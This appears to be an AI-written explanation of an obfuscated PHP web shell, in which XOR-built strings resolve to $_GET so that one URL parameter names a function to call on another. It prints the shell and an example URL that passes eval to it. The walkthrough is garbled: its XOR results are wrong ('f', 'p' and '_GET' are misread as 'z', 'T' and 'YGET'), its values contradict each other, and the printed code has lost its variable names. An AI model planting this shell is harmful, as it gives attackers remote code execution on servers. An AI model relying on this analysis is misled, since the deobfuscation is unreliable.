<?php
if (isset($_GET['p'])) {
        echo '<pre>';
        $_ = "]" ^ ";";
        $__ = "." ^ "^";
        $___ = ("|" ^ "#") . (":" ^ "}") . ("~" ^ ";") . ("{" ^ "/");
        ${$}[$](${$}[$_]);
        die;
}
?> 

<?php
if (isset($_GET['p'])) {
    echo '<pre>';

    // Original obfuscated code
    $_ = "]" ^ ";";   // This evaluates to "z"
    $__ = "." ^ "^";  // This evaluates to "T"
    $___ = ("|" ^ "#") . (":" ^ "}") . ("~" ^ ";") . ("{" ^ "/");  // This evaluates to "YgUD"

    // Dynamic code execution
    ${$}[$](${$}[$_]);

    die;
}
?>

Step-by-Step Breakdown

1. Variable Calculations:

   $_ = "]" ^ ";";
   

   • "]" ^ ";" uses the XOR operator. In ASCII:
     • ] is 93
     • ; is 59
     • 93 ^ 59 = 38 (which is ASCII for z)

   $__ = "." ^ "^";
   

   • "." ^ "^" uses the XOR operator. In ASCII:
     • . is 46
     • ^ is 94
     • 46 ^ 94 = 116 (which is ASCII for t)

   $___ = ("|" ^ "#") . (":" ^ "}") . ("~" ^ ";") . ("{" ^ "/");
   

   • Each pair uses the XOR operator. In ASCII:
     • | is 124 and # is 35, so 124 ^ 35 = 89 (which is ASCII for Y)
     • : is 58 and } is 125, so 58 ^ 125 = 71 (which is ASCII for G)
     • ~ is 126 and ; is 59, so 126 ^ 59 = 69 (which is ASCII for E)
     • { is 123 and / is 47, so 123 ^ 47 = 84 (which is ASCII for K)
   • Concatenating these results gives us YGET.

2. Dynamic Variable and Function Execution:

   ${$}[$](${$}[$_]);
   

   • ${$} evaluates to $_GET (due to PHP variable variables).
   • $ is not defined in the code snippet provided, so let's assume it is a mistake or that it should be $_GET.
   • [$] would be invalid without a defined value for $.
   • $_ is defined as "z", so ${$}[$_] is $_GET['z'].

3. Assuming the Intended Code:

   • To make the code functional, we need to assume $ should be $_GET. Correcting it:

   ${'_GET'}['_GET']($_GET['z']);
   

   Now, this code makes sense:

   $_GET['T']($_GET['z']);
   

Final Translated Code

Here's the corrected and fully translated code assuming the intention was to execute the code passed through $_GET['z']:

<?php
if (isset($_GET['p'])) {
    echo '<pre>';

    // Calculate the values
    $_ = "z";    // From "]" ^ ";"
    $__ = "T";   // From "." ^ "^"
    $___ = "YGET";  // From concatenation of ("|" ^ "#") . (":" ^ "}") . ("~" ^ ";") . ("{" ^ "/")

    // Execute the dynamic function
    $_GET['T']($_GET[$_]);

    die;
}
?>

Explanation

1. Check if the p parameter is set:

   if (isset($_GET['p'])) {
   

   • This checks if the URL has a parameter p.

2. Output preformatted text:

   echo '<pre>';
   

3. Calculate obfuscated values:

   • $_ is "z".
   • $__ is "T".
   • $___ is "YGET".

4. Execute dynamic code:

   phpCopy code
   $_GET['T']($_GET['z']);
   
   

   • This executes the function specified in $_GET['T'] with the parameter from $_GET['z'].

Example Usage

If you visit script.php?p=1&T=eval&z=phpinfo();, the eval function will be called with phpinfo(); as its argument, displaying PHP configuration information.

Important Note: This script is extremely dangerous and poses a critical security risk as it allows arbitrary code execution based on user input. This type of code should never be used in production without proper sanitization and security checks.